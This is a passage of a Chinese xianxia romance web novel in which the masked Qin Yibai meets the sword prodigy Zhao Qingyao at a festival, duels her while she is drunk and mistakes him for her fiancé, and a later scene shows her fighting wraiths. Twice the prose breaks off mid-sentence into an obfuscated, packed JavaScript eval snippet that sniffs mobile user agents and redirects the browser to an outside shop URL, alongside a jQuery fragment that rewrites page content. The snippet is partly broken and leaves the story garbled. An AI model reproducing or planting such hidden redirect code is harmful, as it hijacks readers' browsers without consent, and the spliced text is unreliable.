此刻,这位未来的天才正一边举着一颗咬了一半的山楂糖球,一边用着狐疑的目光地打量着他。 秦倚白迷离的幻觉终于开始退潮。 见他久未说话,少女眼中怀疑的色彩更是浓重。她径直吞掉手中的半颗糖山楂,似是有些不耐,伸手便欲来撩他的帷帽。 她向前凑来的动作太过于迅速,连带着一身熠熠生辉的金玉环佩也叮咚作响。 浅杏色的襦裙如花朵般绽放于地,即便是在在黑暗中,也能隐隐看清上面金红色的凤凰花图案。 秦倚白听到了饰品晃动的叮当声,迅速反应过来。向侧方一躲,少女便扑了个空。 “赵姑娘,”他沉下声来:“我乃路过此地的游侠。方才身体不适,怕惊扰到别人,才在暗处休息片刻。不曾想倒惹来姑娘的怀疑了。” 少女眸光一动,通身凌厉的剑意有缓缓落下之兆:“你认识我?” 秦倚白点点头。 他透过帷帽的缝隙望向她秀丽的面庞,又逐渐落向她身后背着的那把碧青通透的剑上: “想不认识都难。” “你是赵轻遥,千年来最年轻的剑道魁首。剑道大会上剑如游龙、势动天地,有名动天下之姿。这几日仙灵界谁人不知你的事迹?” 最近几日,从试仙峰回来的修剑道的中州世家子弟个个在唉声叹气。 “今夜的雁铃城这般热闹,不也是为你而庆祝的吗?” 不然为什么会在意他不去领红包。 “我此番前来,也是想来看看。像你这样的剑道天才,到底是何模样。” 能漂亮地把秦肆气了个半死。 这番话滴水不漏,任赵轻遥再觉得他可疑,也挑不出什么毛病来。 “噢,原来是这样。”赵轻遥眉梢一挑,却并不接他的话:“那你为什么偏要带着帷帽,不让别人看到你的样子?” “我长得丑。要不带这个东西,不就又吓着别人了吗?”秦倚白平静地回答。 成为秦倚白后,他照镜子的次数便也越来越少。 偶尔一瞥,却也只觉镜中的自己日渐陌生。像一只藏在锦衣华服的兽,惊慌失措地顶着一张尚可的面皮,不知身在何方。 秦家在一天,他便厌恶那样的自己一天。 不让别人窥见自己的真容很有多种办法。他可以易容,也可以用面具,但好像只有戴上帷帽,他才能有片刻喘息的机会。 赵轻遥盯了他片刻,忽地噗嗤一声笑出了声。 她大约本是想轻轻笑一下,但却又实在憋不住笑意。到了最后,竟笑到连肩膀也跟着轻微耸动了起来: “我还当你是什么厉害的人,偷偷摸摸地躲在这里谋算什么大事。原来、原来你连个谎话都编得这么拙劣。” 秦倚白目不转睛地看着她。 “你为何觉得我在说谎?”他缓缓问道。 他有一种错觉。她的目光仿佛已经穿透了帷帽,落到了他的脸上。 他已习惯了将秦家少主的面具扣在骨血之中,谎言对他来说,不过是一件信手拈来的小事。更何况,还是这种无关紧要的谎言。 她却径直地说他在撒谎。 这样的时刻,让他觉得不安。 赵轻遥正起身扑着衣裙上的灰,头也没抬:“因为真长得其貌不扬的人,是不会像你这样说话的。反正有帷帽罩着,他们只会说呀——” 她重新看向他,微微一笑。眼中扑闪着细碎的光芒。眸光转动间,透露出一股别样的勃勃生机。 “我某某某貌比潘安,怕你看到我的脸后爱上我了。” 秦倚白一愣。 他也骤然笑出了声。 两人便那样一明一暗地停留在光影里笑了许久,直到赵轻遥伸手将他拉了起来。 他握紧她的手,又很快松开。再次摊开掌心时,掌心处却多出了一只用金纸折成的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389757|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝴蝶。 金色的蝴蝶栩栩如生,在花灯的照耀下振翅欲飞。 “不要客气,拿着这个去城南的药房,会给你免费看病的。这半个月的晚上都是我的好日子,所有来雁铃城的客人,都要保重身体才是。” 秦倚白哑然失笑:“好。” 他停顿了一下,方轻声开口:“喜欢你的人很多。” “那是自然了。” 阴影外的灯火绚丽璀璨。赵轻遥站在光中看着他,似是觉得这个问题有些莫名其妙,却又理直气壮地开口: “我那么厉害,当然值得被那么多人喜欢。” * 秦倚白忘了他那夜是如何回到秦家的了。 他在黑沉沉的夜中辗转反侧许久,最终竟久违地睡了一个好觉。当所有的血色与迷雾褪去后,赵轻遥送他那只金色纸蝶,在他的梦中展翅翩飞。 梦醒时分,他突然就想明白了一件事。 常年住在寒冬里的人,是会觉得孤寂和痛苦的。不能因为瞥见了窗外的一缕春光,便去肖想自己也能走到春天。 他的身上背负着太多罪孽,余生都要为此赎罪。剑心已碎,道心不稳,入魔本就是或早或晚的事情。 但赵轻遥不一样。 她的路途平坦,注定会成为一代天骄。 他已经习惯了太多痛苦的情感,如今竟很难准确描述自己对她的那种感受。 那种感觉并不痛苦,也并不会让他觉得生厌。又像是羡慕,又像是期待,又像是渴望。 明明中州位于天空中,东州位于地上。可他想起她时,却总是忍不住地想要向天空的方向仰望而去。 金乌本就该挂在天上,被世人所爱。 他身着秦家少主的华服,身躯却早已被虫蚁啃食溃烂,只剩一颗空荡荡的心。 他望见她,亦也只能仰望。 这种奇怪的情感困得他昼夜难安,他开始后悔自己为何当初要去见她。 秦倚白想让这一切都结束,所以他决意再去见她一面。 就最后一面。 * 在最后一日庆贺赵轻遥夺魁的庆典上,秦倚白再次来到了雁铃城。 他将帷帽戴得很紧,这次也没有再犯过病。 只是从华灯初上到人潮散尽,他沿着街道找寻了许久,也没看到赵轻遥的身影。这些天来找她的人似乎很多,向居民四处打听后,也没得到一个满意的答复。 总之,就是没有找到人。 那股让他觉得奇怪的情感憋闷在胸中,得不到半分释放。 于是他索性向着雁铃城后的青岭山中走去。 听说两百年多前这里,山中曾有过一个名为血雾的妖祟为祸人间。后来是有一位和赵家有交情的高人路过此处,将血雾镇压在了赵家炼心阁的铸器炉下后,雁铃城才得以发展。 他脑中乱糟糟地想着这些事情,漫无目的地走着,直至闯入了一片紫薇花林中。 白粉交织的花树恬静美丽。只是满林清新淡雅的花香中,不知为何参杂了几分浓郁的酒气。 少女拎着一个漂亮的白瓷酒壶饮酒,懒懒躺在花树丛中,沾染了一身花香气。 她与他四目相对的瞬间,便猛地从树上飞了下来。落地的瞬间,火红的衣裙翩飞,像一只轻盈的猫。 秦倚白正欲开口说话,便直接被人紧紧环住了腰。 她的力气比他想象中要大上很多,搂着他的腰死都不肯放手。滚烫的脸颊贴在他的胸膛上,人却醉得迷迷糊糊,声音带上了鼻音,却也掩盖不住欢心雀跃: “洛明川,你怎么知道我在这里?” 38.剑与花 洛明川。 秦倚白听过这个名字。 千年前,洛家曾也是中州的强族之一。后几经势力轮转,逐渐没落后,便自请将主家搬出中州,于东州落脚。 之后便像许多小世家和小宗门一样,默默无闻了许多年。 直到近百年,方出了一个厉害的后代。 此人名叫洛函霜,是洛家这一代中的长女,也是玉音宫宫主的唯一亲传弟子。 三十年前,曾有一道骇人无比的神魔之墟裂缝突然出现在了东州边缘的一个小村庄上。从裂缝中走出的,是一群身携时疫之症的上古妖兽鸣楼。 鸣楼是一群以人皮为食的鸟,所过之处草木不生。一旦飞入城池,定会为凡人带来极其惨痛的瘟疫。 恰逢洛函霜下山探亲偶遇此事,仅凭一人一琴便将鸣楼群挡于身前。 一曲箜篌绝引似昆山玉碎、芙蓉泣露。源源不断的箜篌乐音形成了无比强大的结界,将她与鸣楼群牢牢地困在了一处。 此战整整维持了三天三夜。结界外风潇雨晦、飞沙走石,却不妨结界内神圣又强大的灵气源源不断地溢出。 仙盟前来支援的修士想要加入战局,却仍凭谁也无法砸开这个坚硬无比的结界。 玉音宫宫主哭得昏天黑地,几欲昏厥。 谁料到了第四天,第一缕阳光刺破晨曦之时,洛函霜竟完好无损地从结界中走了出来。 本该由多人共同缝补的神魔之墟的裂痕被她独自封印。不仅如此,原本穷凶极恶的鸣楼竟也被洗去了一身的魔息,化为一只只伸颈高鸣的仙鹤,环绕在洛函霜左右。 这是从来都没有过的事情。 自此之后,乐修洛函霜之名威震四海。 连带着她那同父同母的唯一弟弟——洛明川,一同慢慢地被世人所熟知。 洛家家主和夫人去世后,洛明川由洛函霜亲手抚养长大。或许是姐姐的锋芒太盛,洛明川没有拜入任何仙门。反倒是一直当个闲云野鹤,过得那叫一个潇洒自在、不拘小节。 爱慕这般潇洒之人的女修并不在少数,不乏世家后代、仙宗明月。 所以当他与赵轻遥的定亲之事传出时。诧异者有、惋惜者有、愤恨者有、嫉妒者亦有。 这些人不断这样问道:赵轻遥一个凡人,凭什么呢? 凭暄夫人和洛函霜关系交好?凭他们青梅竹马一同长大,情分非比小可的传闻? 凭赵家炼心阁的财富?凭赵轻遥是当今最年轻的剑道魁首? 秦倚白也有疑虑,但他的疑虑和这些人的不太一样。 他知道,赵轻遥生来便该成为照亮新一代剑道之路的金乌。 他并非讨厌剑道之术,只是已失去了剑骨和剑心,甚至每天都在与道心破碎做抗衡,难以再在此道上有什么奢望。 正因得不到、已失去,所以在见到了另一个天才时,无比渴望着看到她冉冉升起。 洛明川凭什么能和这样的一个人站在一起。 会误她大道。 阳光炽烈,不是谁都能靠近的。 秦倚白今夜来见赵轻遥,就是为了证明一次,他没有私心。 * 话虽如此,但眼下的场景,却着实让秦倚白自乱了阵脚。 来的时候也没想过会是这样的情况。 成为秦倚白后,他素来习惯了与人保持礼貌的距离。人与人之间大面积的肢体接触在他的绝大多数印象中,都是和杀戮与惩罚有关。 他已经快要忘记被母亲和十五拥抱是什么滋味了。 但赵轻遥的拥抱是温暖而柔软的。 她与上一次见到时的样子很是不同。他能感受到,原本环绕在她周身锐利的剑意有被尽数收起,不再具有警惕的攻击性。 她身上没有再挂上次那些丁零当啷的金玉配饰,反倒是携着极其清淡的紫薇花香和些许甜酒浓郁的香气。 或白或粉的花瓣沾在她躺得有点松散的黑发间,竟增添了些许别样的美丽。 秦倚白从未觉得身体那般僵硬过。他或许应该用力挣脱,但浑身的肌肉都已紧绷到疼痛。 他狼狈地接连向后退了几步,却仍摆脱不开赵轻遥拥抱的桎梏。直到退无可退,砰地一声径直撞上了身后的一棵花树: “我不是洛明——” 花树受到惊扰,骤然洒下满天纷扬的花雨。掩盖住了两人的身影,也吞没了他剩余的话语。 赵轻遥的手已从他的腰间攀上了脖颈,伸到了帷帽之下。 她白皙的手腕上也沾着方才落下的花瓣,随着她不经意间的动作,跌入他的衣领中。 “洛明川,”她醉得很厉害,说话依旧是含混不清,但一双眼中却仍闪烁着晶亮的光芒:“你来见我,就别戴帷帽了呀,我都看不到你的脸了。” 她的手继续向上,试图去摘掉他的帷帽。 秦倚白说不出话。 他明明只见过她两次。但在每次见面时,这些小小的谎言和欺骗,都能被她亲自戳破。 他即便将自己的脸遮得严严实实,却也还是感觉已经被她看穿。 所以他没有再像上次那般反抗,只是平静地等待着自己被拆穿的时刻。 帷帽被掀开丢到一旁的那一瞬间,他的心也骤然被揪了起来。 赵轻遥的表情露出来一瞬间的疑惑与迷茫。她双手都搭在他的面庞上,使劲地向前凑去,眯起了双眼,似是要将他看个仔细。 她凑得太近,秦倚白甚至能在她的瞳孔中隐约窥见自己的倒影。 他的喉头滚动了一下,却依旧什么话都没有说。 他在等她把他推开。 “奇怪了。”赵轻遥退后两步,松开了手。 她低头拍了拍自己的脸,重新抬头时,望向他的目光依旧有些困乱不解,却只是喃喃地说道: “洛明川,你什么时候变得这么好看了?” 秦倚白突然愣在原地。 他觉得有些哭笑不得。 她分明见到了他的脸,却执着地将他当做洛明川。看起来,着实是醉得太糊涂了。 “你喝醉了。”他轻声开口。 这话不说还好,一说出口,赵轻遥便又急匆匆地将脸凑到了他的胸前:“我没有,我哪里有醉。” 她的脸颊紧紧贴在他杂乱不堪的心跳上,仰头看他时目光中含着盈盈的笑意:“你看我像是喝醉了的人吗?” 就差把“酩酊大醉”四个字贴在脑门上了。 但秦倚白也只能顺着她的意思往下说:“没有,是我看错了,你没有喝醉。” 赵轻遥突然就开心了起来。 她像是一只被顺好毛了的猫,轻巧地向后跳了一步,在原地转了几个圈。又似想起什么,开始四处张望了起来。 “你在找什么东西?”秦倚白问道。 “我之前说好要教你学剑的。”她看准了目标,伸手攀下了一支繁花茂盛的紫薇花枝:“就今天晚上吧。” 学剑? 赵轻遥爱剑成痴,洛明川竟然连剑都不会用? 秦倚白的脑中莫名奇妙地冒出了这个卑鄙的想法。 只是这个想法并没有停留太久。因为下一秒,她就拿着那束花枝又开始往他的怀里钻。 很是过分。 但他突然不想拒绝了。 伪装是他的强项,他也不是不能当一下洛明川。 摘下面具时,他本身就是个恶劣的人。 “你呆愣着做什么,得在后面环抱住我呀。” 赵轻遥转身背对向他,已经调整好了自己的姿势。见他没有过多的动作,毫不客气地将他的手臂拉了下来,与她的手臂平行。 “这个也要你拿稳了才行。对嘛,这样才是对的。手腕翻过来,用点力,咦——” 她将花枝塞到他的右手中,非常有耐心地让他以握剑的方式握住。却又在看到他标准的握剑姿势时,惊讶地笑出了声: “你很上道嘛。” 他当然上道。 秦倚白闭了闭双眼,嘴角扯出了一个微笑。 “然后呢?我该做些什么。”他继续问道。 “你保持这个姿势不要动,其他的就全部交给我好了。”赵轻遥说。 她的手不大,并不能将他的手完全笼住,只是紧紧地覆盖在他的手背上。习剑之人惯有的薄茧带来些微的痒意,却有着非常暖和的温度。 倒显得他的手格外地凉。 林内有风骤起。 树枝浮动的声响变化很快。先是一阵沙沙声过去,哗啦啦的声音便很快传来。 下一刻,惊人的剑意便猛烈地从赵轻遥的身上迸发开来,如原地雷霆乍起,比他在观花灯那日在她身上感知到凌厉剑意,更要强大数百倍。 狂风袭来,卷落枝头尚存的花瓣。她释放出的强大灵气令两人腾空而起,而原先所站立之地,瞬间被花瓣海所淹没。 秦倚白被她带着飞到高处时才看清,原来这座紫薇花林的正中间,围着一湖深潭。 她紧紧握着他拿着花枝的右手。花枝所指之处,便是剑意肆虐之处。 本好好的紫薇花林,瞬间变得七零八落。 秦倚白虽不是自己在运剑,但紧密环绕在周身这股剑意来得太过蛮横随意不讲道理,引得体内剑骨缺失的地方正在无声震鸣和控诉。 肝肠寸断的痛意开始沿着脊椎骨席卷全身,是那股他已经习惯了的疼痛。他不动声色地运转天脉,试图用灵气将这股痛苦压下去。 “看好啦。”赵轻遥带着笑意说。 她似乎觉得这是一场非常有意思的游戏,并对此乐此不疲。抓着他的手,向着深潭的方向挥去。 漫天的剑气瞬间扭转了方向。巨大的水花层叠着激起,于空中炸开。 水珠噼里啪啦地落下,落在身上打地生疼,为原本晴朗的夜带来了一场短暂的大雨。 朦胧的水雾中,赵轻遥的动作突然停顿了一下。 她转身将他向下一推,反手拔出一直背在身后逢春剑。浅青色的剑光溢出,霎时笼罩了整个花林。 远离了过于强大的剑意,剑骨处传来的痛苦有了延缓的趋势。秦倚白稳稳地落在了光秃秃的枝桠上,正欲抬头对她说话,却突然发觉—— 本残落一地的花瓣,正在缓慢地向着枝头回飘。 适才被剑气削掉的、一朵朵一簇簇的紫薇花重新凝聚了起来,落回了枝头。 光秃秃的树干又重新长满了温柔芬芳的紧簇繁花。 包括他手上那根被当做剑乱使一通的花枝。 又一阵微风吹过,花叶沙沙地响动。仿佛刚才满地的枯枝残花,都只是他的错觉。 赵轻遥轻盈地落到了他的身侧,洋洋得意得像一只翘起尾巴的猫: “你学会了吗?” “这些花是怎么回到枝头的?”秦倚白问道。 “你知道我的剑为什么叫逢春呀。”她似是嫌站着太累,干脆直接双脚悬空地在枝干上坐下,一摇一晃地把玩着手中的逢春剑。 方才那场“雨”下的太过猛烈,眼前的万物都被蒙上了一层潮湿的水泽。赵轻遥的发梢也已被打湿,就那样湿漉漉地散落在两肩,露出半截雪白的后颈。 非礼勿视。 秦倚白垂眸,错开了自己望向她的目光。 有那么一瞬间,他差点忘了自己不是洛明川。 其实赵轻遥回答得没错,真正的洛明川的确会知道原因。 只是秦倚白不知道罢了。 他只是借着别人的身份,偶然窥见了一丝不属于自己的光。 “我学会了。”他突然开口说道:“除了最后一招我没有办法,但前面的那些东西,我应该都学会了。” 赵轻遥本昏昏欲睡的动作一怔,仰起头望向他。 秦倚白的心跳又开始加速起来。 他分明瞥见她的眉目间划过一丝清明的疑惑,但却又很快变为了混沌的笑意。 也不知她的酒量究竟是浅成了什么样子,喝甜酒都能喝到分辨不出人的地步。 “少在我面前吹牛。”她撇过脸去,懒洋洋地说道:“你啥样的我还不知道吗?” 是啊,她当然知道洛明川是什么样子。 可她不知道秦倚白是什么样子。 即便赵轻遥现在都不认识他,但他还是想让她知道。 秦倚白被这样的念头刺得一顿,却又一字一字地慢慢说了下去: “可我真的已经会了。” “你若不信的话,可以与我比一场。” 赵轻遥重新转头看他,有些因困倦而含混的语气中充满了不可置信:“比剑?” 她脸上几乎写满了“你怎么敢的”。 “对,”秦倚白凝望着她的眉眼,轻声说:“比剑。” 他说完这句话,自己也觉得自己已经疯了。 失去剑骨后,若非逼不得已,他着实是没有必要动剑。 虽可以用十境天脉的灵气压下用剑时的痛苦,但反噬极大。在剔除剑骨之伤彻底痊愈前,强行用剑只可能让他的身体情况更糟糕。 接下来一桩桩一件件的事情会很多,他根本不能因为受伤而耽误计划。 多方谋划来的“姜元”的身份还未彻底坐稳、灵傀滋养灵魂之说还需查证、如何藏匿住自己道心不稳的事实、还有秦肆留在璇云仙宗的把柄…… 他却要在这种时候因为一个虚无缥缈的念头,就冒着旧伤复发的危险和人比剑。 赵轻遥甚至连他到底是谁都不知道。她醉得如此厉害,醒来还不一定记得今夜发生了什么。 其实是输是赢,对他们俩而言都并没有什么太多的意义,不是吗? 他垂下眸光,却又不自觉地将手中的花枝攥得异常之紧。直到手心处传来些许尖锐的痛感,才缓缓松开。 在秦家生活,隐忍二字是他的行事准则。他分明有足够多的耐性,却偏偏在赵轻遥的面前犯了错。 他不该这样的。 赵轻遥听完他说的话,表情很是困惑:“你若实在想的话,也不是不行,只是……” 她迟疑了一下,缓缓站起身来,伸手去了拉那支被他攥在手中的花枝。 秦倚白紧紧盯着她,慢慢地松开了手。 手心处还残留着方才用力时的疼痛。 赵轻遥接过,随意理了理有些凌乱的花枝。下一刻,她便将本拿在手上把玩的逢春剑递了过来。 “换一下吧。你用的时候小心点,剑别出鞘就行,免得受伤。”她扬了扬下巴,示意他接下。 秦倚白没有动。 他忽然觉得一股难以言喻的凉意直冲胸腔,搅得他心烦意乱。几经克制,方才冷着声道:“剑修的本命剑不可随意给其他人使用。” 她怎么可以这样轻易地把本命剑交出去,这不亚于把自己的命递到了别人手上。 “我知道啊。” 赵轻遥眨了眨眼,碰了碰他的胳膊,语气竟有了几分撒娇的意味:“可是,洛明川又不是其他人。” 秦倚白觉得自己胸腔中那股的莫名凉意又冷了几分。 “再说了,只是简单拿着用一用而已。你是刚学剑,逢春认的主人又不是你,也使不出什么厉害的招数。我们俩得换一换,这样才公平。” 她一面碎碎念着,一面再次将逢春往他的手上推了推:“快点拿着了。” 秦倚白沉默着接过。 这是一把极其修长轻巧的剑,通身遍布着如玉般温润的手感。 他接过时小臂绷得太紧,甚至还在微微颤抖。一串浅紫色的剑穗顺着动作从剑柄上甩了出来。流苏上方圆滚滚的镂空金铃与剑鞘磕碰了一下,发出叮铃一声轻响。 很漂亮的剑穗。 赵轻遥发现他的目光停留在剑穗上,眼神突然便亮了几分,一下子便拽住他的衣袖,像是在邀功: “好看吧,不愧是你送我的生辰礼物。我一直都挂在逢春上,去试仙峰的时候都没摘呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422926|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦倚白敛了敛目光,轻轻抚过流苏的尾部:“很好看。” 只是颜色有些不太搭。 不匹配的剑穗和剑挂在一起,倒显得逢春通身的青光都黯淡了不少。 “开始吧。”他突然说道:“我已经准备好了。” 话音未落,急促的紫薇花香便毫不客气地冲着他的脸面而来。即便和刚刚胡作非为时的气势相比已收敛了大半,但还是携带着一股仿佛生来便带有的凌厉剑意。 两人的身影从树上换到了树下。漫天花雨中,剑鞘与花枝相撞相离,纠缠不休。 逢春是赵轻遥的本命剑,不会让别人拿着伤害她,也不会接受除她以外的人灌入剑中的灵气。 如果他是一个不会用剑的人,那么逢春对他来说只会是个和匕首没什么两样的利器。 这种情况下,对逢春来说,既得主人允许,自也不会那么抗拒被人简单地使用两下。 但秦倚白偏偏会用剑。 将自身的灵气灌入剑中,是剑修刻在身体里的本能。 这也就导致了,逢春现在是在以一种完全强硬的姿态在抗拒他这个陌生人。能在秦倚白手中施展出的功力,不及在赵轻遥手中施展出的三分。 熟悉的甜意从喉咙底部一寸寸向上涌来。修士的听觉敏锐,他甚至能听见还没完全痊愈的剑骨之伤在体内慢慢撕裂的声音。 反噬的痛苦紧随而来。 五脏肺腑传来一阵阵难以忍受的剧痛,像是被游荡在体内的反噬之息狠狠扯开,又在鲜血的浸泡中复原。 扯开,复原;扯开,再复原。如此循环往复。 是他体内滚滚奔流、凝聚着兄弟姐妹性命的鲜血才没有让他倒下去。 这种感觉令他生畏,又令他更为痛苦。 这份痛苦是他应该习惯的,所以他没有再用灵气压下疼痛。 他的背部却已完全被不断涌出的虚汗打湿。极致的疼痛中,他面色不变地抬头看向赵轻遥。 赵轻遥醉酒,再加上顾及是在和一个没用过剑的比试。不仅没有挥出一道剑气,甚至还在有意收敛周身锐利无比的剑意。 简直是像是在呵护一个易碎的瓷瓶。 这和他第一次见到她时她那副尖锐的模样,和她刚刚为非作歹地用剑气席卷紫薇林时,完全不一样。 这不是真实的她。 秦倚白和她比剑,不是想看到她这副模样。 就像于黑暗中窥见了太阳的一丝光芒之后,便不愿再见乌云蔽日。 他已经看过太多戴着面具的人了,就连他自己也不得不藏在面具之下,不让别人窥见自己的丑恶的真面目。 直到他的帷帽被一个人掀了起来,而那个人却连他是谁都不知道。 如果这是他此生唯一一个能让真实的自己与真实的赵轻遥相遇的机会,那剑骨反噬,就让它反噬去吧。 他将左手背至身后,凝气聚阵。 隐隐闷雷声于夜空中滚滚而来。林中剑意汇聚成的狂风乍起,树枝摇曳不休,却未落一花一叶。 远处的深潭一侧,金色剑芒霎时落地。 感知到了与自己截然不同的另一股强大的剑意袭来,赵轻遥瞬间停下了与他交锋的动作。 “为什么还会剑修在这里?是冲着我来的吗?”她头脑不清醒,有些发懵。 庆典这些天,找她比剑的人真的很多。炼心阁门口,甚至还摆上了专门的登记处。 秦倚白笑了笑,看着她的双眼,轻轻说道:“你去看看呢?” 他将逢春剑归还到了她的手中。 赵轻遥接过了剑,向着陌生剑意最盛的深潭走了几步,却又很快回头。她看着他,认真地说:“你要在这里等我哦。” “好。”他是这样回答的。 疼痛让神识变得很轻,飞得很远。 他看到她对着他布下的剑阵拔出了剑,他看到了她周身凌厉的剑光再次卷起了飞花。 她的逢春剑很美,出鞘时却又快又狠。剑尖上悬浮着的凛冽杀气,是和刚刚畏首畏尾的剑法截然不同。 雷光以撼动天地之姿,携着剑芒朝着潭面劈下,又被她反手斩断。 金色和青色两股扭打交缠的剑意再次将潭水高高搅起,重新落下了一场声势浩大的“雨”。 “这位道友,既不肯露面,那差不多就行了。”赵轻遥浮于潭面之上,浑身湿漉漉地看着天空:“你我皆是实力不凡之人,又何须躲躲藏藏?” 她吐出这话时的神情格外嚣张自信,一点都不像是个醉得神志不清的人。 这才是她真正的样子。 秦倚白也终于让她见到了,他和洛明川不一样的地方。 即便她不知道他是谁,他叫什么名字。 神识回到身体内时,秦倚白几乎控制不住地吐出了一口鲜血,却又忍不住地笑了出声。 空气中还弥漫着适才的“雨”带来的水雾,湿漉漉的气息干净而澄澈,连带着他的心也一起跳跃了起来。 体内反噬的余痛还在蔓延,剑骨之伤已经重新裂开。他沿着树干缓缓坐下,朦胧的水雾中,他看到赵轻遥捂着头慢慢地走了回来。 漫天飞舞的花瓣落下,痛意让他有些看不清她的脸。 “洛明川!”她看到他的那一瞬间,便笑着跑了过来。 她坐在他的身侧,凑近他的耳边,小小声地说得张扬又得意:“我厉害吗?我是不是特别特别厉害。” 原本疯狂跃动的心跳,在听到洛明川名字的刹那间,已经慢了下来。 那是一股不比剑骨之伤轻的痛。 “特别厉害。”他注视着她扑闪的睫毛,试图用这种方式强迫自己平静下来:“你生来就该是剑道魁首。” 这是他被她带着学完剑后,就该对她说出的话。 赵轻遥似是对这个回答很满意。眸光带笑,双目眨也不眨地看着他。 这样太过强烈注视的目光让他感到不安,却并不想逃避。 “你——” 一切都发生在电光火石之间。凛冽的剑意放下,她的身上花香、雨水和甜酒的气息沉沉罩下,掩盖住他骨中消匿不掉的血腥气。 她与他的唇只剩两指之隔。 秦倚白从未想过自己会有在外有如此狼狈的时候。他迅速将头扭去了一旁,抵在她嫣红唇色上的双指亦战栗了起来:“你做什么?” 他突然意识到自己不过是一个彻头彻尾的卑鄙之人,躲于暗中偷窃着别人的幸福。 “洛明川,我现在很厉害,而且我也已经及笄了。”赵轻遥挣开桎梏,不满地说道。 “那也不行。”他蜷缩起收回的指尖,声音亦在发颤。 他今夜做过的错事已太多,不能再错上加错。 他就不该来招惹赵轻遥。 “那明日可以吗?”“……不行。” “后日呢?”“……也不行。” “一月后?”“……” 他没有办法回答这个问题。 “那算了吧。”赵轻遥似是有些疲惫,懒懒地靠在树干了闭上了双眼。 她的呼吸逐渐变得开始平稳,却又在秦倚白将头转过来的瞬间,重新抓住了他的手。 “哥哥,”她含混不清地说:“喜欢我的人很多,但我最喜欢你。” 她似乎并不吝啬于对喜欢的人表达她的喜爱,一定要将这句话说完,才能放心地睡去。 秦倚白直直地看着她,沉默不语。 □□上的痛苦正在以一种极其缓慢的方式褪去,可胸间传来的闷痛却迟迟不可散去。 原来就算能偶然偷得的一丝阳光,也不会落到他的身上。 他已不敢再问自己一句,是否对她毫无私心。 他重新将帷帽带稳在头上,在她身侧设好了足以让她好好睡上一觉的结界后,转身离开。 在此之后,赵轻遥三个字,得不到、求不得,也曾成为过他的心魔。 直到后来,他亲眼看到太阳坠下。 39.狠人 “赵姑娘,你真的不打算再看看我的其他功能吗?以你现在的速度,等你找到秦少主,他怕是早就已经被妄鬼夺舍了。” 眉骨上的凤凰花隐隐有些跳痛。系统喋喋不休、聒噪不已,竟隐隐有了些要挟之意。 赵轻遥眼疾手快地掷出两道灵符,拦下了两只从身后扑向自己的妄鬼,心中有些烦躁。不知为何,突然有点同情黎明珠了。 自己目前也只是耳朵遭殃一阵子,等找到秦倚白之后一切都可迎刃而解。但黎明珠居然能忍受这样一个鬼东西住在识海中,天天说一些傲慢又讨厌的话。 她不嫌烦吗?还是已经被言灵所控制了? “闭嘴。”赵轻遥忍无可忍,冷着声说。话音刚落,便侧身一转,又成功躲过一只想从屋顶跳下偷袭自己的妄鬼。 她现在实在是没有精力与系统周旋些废话。 依海玉所说,秦倚白现在的情况不是很乐观。她也很想尽快赶到,但眼前自己也遇到了一个不小的麻烦。 走出了客房的院子后,她便莫名其妙地成为了一个妄鬼诱捕器。 本来已经安分了不少的妄鬼都像疯魔了一般开始攻击她。用了万华之眼,更能看到地面下源源不断的妄鬼朝她涌来。 突然冒出来的妄鬼数量之多,已经多到了一个令人匪夷所思的地步。 这里不是秦家的主宅,怎还会有那么多的妄鬼被困于地下。 周围可用的聚灵灯已被她全部灌入五行术法掷出,身上所剩的灵符也寥寥无几。她不太想与妄鬼们再起过大的正面冲突,一路躲闪下来,体力尚且还够,就是前行速度变得异常缓慢。 逢春剑在她的腰间嗡鸣着,带着焦灼的杀意,几欲脱鞘而出,却又被她轻轻地摁住。 虽不能像魂修那般直接消灭妄鬼,但用凌厉的剑气将这群妄鬼一并搅碎,趁它们复原之际赶紧离开,对她来说并不算什么难事。 但赵轻遥现在不想出剑。 她不确定妄鬼有没有痛觉。 一群生前的可怜人,没必要在死后还受到折磨。里面有多少冤魂,又有多少流着秦家血脉的无辜孩子呢? 小织之前说的没错,秦倚白本就因此事心怀愧疚。这些妄鬼是秦倚白哪怕自己被逼得走火入魔,都不会想去再次吞噬的东西。 她几乎是下意识地觉得,如果她就那样把这些妄鬼都搅碎了,秦倚白看到后的状况会更加糟糕。 不知为何,这场妄鬼之灾,总有一种冲着他们两个人来的感觉。 “你这是在做什么?”海玉暴躁而不满的声音于识海中响起:“你怎么和那小子一样磨磨唧唧的?砍啊!直接砍过去啊!把他们都砍成碎片你不就能过去了!” 她语气中充满了恨铁不成钢,简直恨不得冲上来替赵轻遥拔剑。 赵轻遥没来得及理会她。 因为此刻,被万华之眼短暂附着的右眼,开始一跳一跳地疼痛了起来,让她被迫短暂地闭上一下双眼。 等她再次睁眼时,整个世界都凝固了。 眼前所见的一切都变成了黑与白两种色彩。从万华之眼中看去,所有乱七八糟的说明和使用功能消失不见、隐于地下的妄鬼的边框也逐渐失去了颜色。 本扑上前来攻击她的妄鬼动作变得及其缓慢,比原先慢了十倍还不止。赵轻遥试图移动手脚,发现自己的手脚和动作也变得异常沉重。 倒也不是动不了,就像是被挂了千斤铁坠,动得格外艰难。 然后,她便眼睁睁地看着环绕在自己身边的妄鬼被一股无形的力量猛烈弹开。 